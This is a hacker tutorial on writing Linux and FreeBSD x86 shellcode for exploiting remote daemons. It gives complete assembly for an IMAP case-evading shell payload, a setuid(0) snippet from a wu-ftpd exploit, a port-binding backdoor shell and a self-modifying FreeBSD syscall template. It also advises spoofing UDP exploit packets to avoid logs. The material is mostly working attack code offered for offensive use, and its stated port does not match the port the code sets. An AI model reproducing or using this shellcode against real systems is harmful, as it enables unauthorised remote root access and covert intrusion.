The Art of Writing Shellcode, by smiler.

----------------------------------------

 

Hopefully you are familiar with generic shell-spawning shellcode. If not

read Aleph's text "Smashing The Stack For Fun And Profit" before

reading further. This article will concentrate on the types of shellcode

needed to exploit daemons remotely. Generally it is much harder to exploit

remote daemons, because you do not have many ways of finding out the

configuration of the remote server. Often the shellcode has to be much

more complicated, which is what this article will focus on.

 

I will start by looking at the ancient IMAP4 exploit. This is a fairly

simple exploit. All you need to do is "hide" the /bin/sh" string in

shellcode (imapd converts all lowercase characters into uppercase).

None of the instructions in the generic shell-spawning shellcode contain

lower-case characters, so you all you need do is change the /bin/sh

string.

 

It is the same as normal shellcode, except there is a loop which adds

0x20 to each byte in the "/bin/sh" string. I put in lots of comments so

even beginners can understand it. Sorry to all those asm virtuosos :]

 

-----imap.S-------

.globl main

main:

jmp call

start:

 

popl %ebx /* get address of /bin/sh */

movl %ebx,%ecx /* copy the address to ecx */

addb $0x6,%cl /* ecx now points to the last character */

 

loop:

cmpl %ebx,%ecx

jl skip /* if (ecx<ebx) goto skip */

addb $0x20,(%ecx) /* adds 0x20 to the byte pointed to by %ecx */

decb %cl /* move the pointer down by one */

jmp loop

skip:

 

/* generic shell-spawning code */

movl %ebx,0x8(%ebx)

xorl %eax,%eax

movb %eax,0x7(%ebx)

movl %eax,0xc(%ebx)

movb $0xb,%al

leal 0x8(%ebx),%ecx

leal 0xc(%ebx),%edx

int $0x80

xorl %eax,%eax

inc %al

int $0x80

call:

call start

.string "\x0f\x42\x49\x4e\x0f\x53\x48"

--------------

 

This was a very simple variation on the generic shellcode and can be

useful to mask characters that aren't allowed by the protocol the daemon

uses. But when coding remote, or even local, exploits you have to be

prepared to write code which is much more complex. This usually means

writing shellcode that involves different syscalls.

Useful syscalls are:

 

setuid(): To regain dropped root priviledges (e.g. wu-ftpd)

mkdir()/chdir()/chroot(): To drop back to root directory (e.g. wu-ftpd)

dup2(): To connect a tcp socket to the shell (e.g. BIND&rpc.mountd tcp-style )

open()/write(): To write to /etc/passwd (e.g. everything !)

socket(): To write connectionless shellcode, as explained later.

 

The actual syscall numbers can be found in <asm/unistd.h>

 

Most syscalls in linux x86 are done in the same way. The syscall number

is put into register %eax, and the arguments are put into %ebx,%ecx and

%edx respectively. In some cases, where there are more arguments than

registers it may be necessary to store the arguments in user memory and

store the address of the arguments in the register. Or, if an argument

is a string, you would have to store the string in user memory and pass

the address of string as the argument. As before, the syscall is called

by "int $0x80".

You can potentially use any syscall, but the ones mentioned above should

just about be the only ones you will ever need.

 

As an example heres a little shellcode snippet from my wu-ftpd exploit

that should execute setuid(0).

 

Note: you should always zero a register before using it.

 

---setuid.S----

.globl main

main:

xorl %ebx,%ebx /* zero the %ebx register, i.e. the 1st argument */

movl %ebx,%eax /* zero out the %eax register */

movb $0x17,%al /* set the syscall number */

int $0x80 /* call the interrupt handler */

---------------

 

 

Port-Binding Shellcode

 

When you are exploiting a daemon remotely with generic shellcode, it is

necessary to have an active TCP connection to pipe the shell stdin/out/err

over. This is applicable to all the remote linux exploits I've seen so

far, and is the preferred method.

 

But it is possible that a new vulnerability may be found, in a daemon

that only offers a UDP service (SNMP for example). Or it may only be

possible to access the daemon via UDP because the TCP ports are

firewalled etc. Current linux remote vulnerabilites are exploitable

via UDP - BIND as well as all rpc services run both UDP and TCP

services. Also, if you send the exploit via UDP it is trivial to spoof the

attacking udp packet so that you do not appear in any logs =)

To exploit daemons via UDP you could write shellcode to modify the

password file or to perform some other cunning task, but an interactive

shell is much more elite =] Clearly it is not possible to fit a UDP pipe

into shellcode, you still need a TCP connection. So my idea was to write

shellcode that behaved like a very rudimentary backdoor, it binds to a

port and executes a shell when it receives a connection.

 

I know for a fact that I wasn't the first one to write this type of

shellcode, but no one has officially published it so...here goes.

 

A basic bindshell program(without the style) looks like this:

 

int main()

{

char *name[2];

int fd,fd2,fromlen;

struct sockaddr_in serv;

 

fd=socket(AF_INET,SOCK_STREAM,0);

serv.sin_addr.s_addr=0;

serv.sin_port=1234;

serv.sin_family=AF_INET;

bind(fd,(struct sockaddr *)&serv,16);

listen(fd,1);

fromlen=16; /*(sizeof(struct sockaddr)*/

fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);

/* "connect" fd2 to stdin,stdout,stderr */

dup2(fd2,0);

dup2(fd2,1);

dup2(fd2,2);

name[0]="/bin/sh";

name[1]=NULL;

execve(name[0],name,NULL);

}

 

Obviously, this is going to require a lot more space than normal

shellcode, but it can be done in under 200 bytes and most buffers are

quite a bit larger than that.

 

There is a slight complication in writing this shellcode as socket

syscalls are done slightly differently than other syscalls, under linux.

Every socket call has the same syscall number, 0x66. To differentiate

between different socket calls, a subcode is put into the register %ebx.

These can be found in <linux/net.h>. The important ones being:

 

SYS_SOCKET 1

SYS_BIND 2

SYS_LISTEN 4

SYS_ACCEPT 5

 

We also need to know the values of the constants, and the exact

structure of sockaddr_in. Again these are in the linux include files.

 

AF_INET == 2

SOCK_STREAM == 1

 

struct sockaddr_in {

short int sin_family; /* 2 byte word, containing AF_INET */

unsigned short int sin_port; /* 2 byte word, containg the port in network byte order */

struct in_addr sin_addr /* 4 byte long, should be zeroed */

unsigned char pad[8]; /* should be zero, but doesn't really matter */

};

 

Since there are only two registers left, the arguments must be placed

sequentially in user memory, and %ecx must contain the address of the

first. Hence we have to store the arguments at the end of the shellcode.

The first 12 bytes will contain the 3 long arguments, the next 16 will

contain the sockaddr_in structure and the final 4 will contain fromlen

for the accept() call. Finally the result from each syscall is held in

%eax.

 

So, without further ado, here is the portshell warez...

 

Again I've over-commented everything.

 

----portshell.S----

.globl main

main:

 

/* I had to put in a "bounce" in the middle of the code as the shellcode

* was too big. If I had made it jmp the entire shellcode, the instruction

* would have contained a null byte, so if anyone has a shorter version,

* please send me it.

*/

 

jmp bounce

start:

popl %esi

 

/* socket(2,1,0) */

xorl %eax,%eax

movl %eax,0x8(%esi) /* 3rd arg == 0 */

movl %eax,0xc(%esi) /* zero out sock.sin_family&sock.sin_port */

movl %eax,0x10(%esi) /* zero out sock.sin_addr */

incb %al

movl %eax,%ebx /* socket() subcode == 1 */

movl %eax,0x4(%esi) /* 2nd arg == 1 */

incb %al

movl %eax,(%esi) /* 1st arg == 2 */

movw %eax,0xc(%esi) /* sock.sin_family == 2 */

leal (%esi),%ecx /* load the address of the arguments into %ecx */

movb $0x66,%al /* set socket syscall number */

int $0x80

 

/* bind(fd,&sock,0x10) */

incb %bl /* bind() subcode == 2 */

movb %al,(%esi) /* 1st arg == fd (result from socket()) */

movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */

addb $0xc,0x4(%esi) /* increase it by 12 bytes to point to sockaddr struct */

movb $0x10,0x8(%esi) /* 3rd arg == 0x10 */

movb $0x23,0xe(%esi) /* set sin.port */

movb $0x66,%al /* no need to set %ecx, it is already set */

int $0x80

 

/* listen(fd,2) */

movl %ebx,0x4(%esi) /* bind() subcode==2, move this to the 2nd arg */

incb %bl /* no need to set 1st arg, it is the same as bind() */

incb %bl /* listen() subcode == 4 */

movb $0x66,%al /* again, %ecx is already set */

int $0x80

 

/* fd2=accept(fd,&sock,&fromlen) */

incb %bl /* accept() subcode == 5 */

movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */

addb $0xc,0x4(%esi) /* increase it by 12 bytes */

movl %ecx,0x4(%esi) /* copy address of arguments into 3rd arg */

addb $0x1c,0x4(%esi) /* increase it by 12+16 bytes */

movb $0x66,%al

int $0x80

 

/* KLUDGE */

jmp skippy

bounce:

jmp call

skippy:

 

/* dup2(fd2,0) dup2(fd2,1) dup2(fd2,2) */

movb %al,%bl /* move fd2 to 1st arg */

xorl %ecx,%ecx /* 2nd arg is 0 */

movb $0x3f,%al /* set dup2() syscall number */

int $0x80

incb %cl /* 2nd arg is 1 */

movb $0x3f,%al

int $0x80

incb %cl /* 2nd arg is 2 */

movb $0x3f,%al

int $0x80

 

/* execve("/bin/sh",["/bin/sh"],NULL) */

movl %esi,%ebx

addb $0x20,%ebx /* %ebx now points to "/bin/sh" */

xorl %eax,%eax

movl %ebx,0x8(%ebx)

movb %al,0x7(%ebx)

movl %eax,0xc(%ebx)

movb $0xb,%al

leal 0x8(%ebx),%ecx

leal 0xc(%ebx),%edx

int $0x80

/* exit(0) */

xorl %eax,%eax

movl %eax,%ebx

incb %al

int $0x80

call:

call start

.ascii "abcdabcdabcd""abcdefghabcdefgh""abcd""/bin/sh"

-----------------------------------------------------

 

Once you have sent the exploit, you only need to connect to port 8960, and

you have an interactive shell.

 

----------------[ FreeBSD shellcode

 

Just in case all of that was all old hat to you, I'll take a little

foray into the world of BSD x86 shellcode. FreeBSD shellcode is in most

ways completely different. Primarily because syscalls are done by pushing

arguments onto the stack and using a far call. The syscall number

still goes in the %eax register however. OpenBSD is much the same but

it uses an interrupt for syscalls.

 

The main complication in writing shellcode for FreeBSD is in the far

call (instruction lcall 7,0) which contains 5 null bytes. Obviously

you would need to write some basic self-modifying shellcode. Since this is

going to be used in every syscall you make, its best to put this into a

mini-function and call it whenever necessary. I wrote a little template

for this, it's easy enough to make it execute a shell or bind to a port.

Just incase you're wondering the syscall for execve is 0x3b.

 

----fbsd.S----

.globl main

main:

jmp call

start:

/* Modify the ascii string so it becomes lcall 7,0 */

popl %esi

xorl %ebx,%ebx

movl %ebx,0x1(%esi) /* zeroed long word */

movb %bl,0x6(%esi) /* zeroed byte */

movl %esi,%ebx

addb $0x8,%bl /* ebx points to binsh */

jmp blah /* start the code */

 

call:

call start

syscall:

.ascii "\x9a\x01\x01\x01\x01\x07\x01" /* hidden lcall 7,0 */

ret

binsh:

.ascii "/bin/sh...."

blah:

/* put shellcode here */

call syscall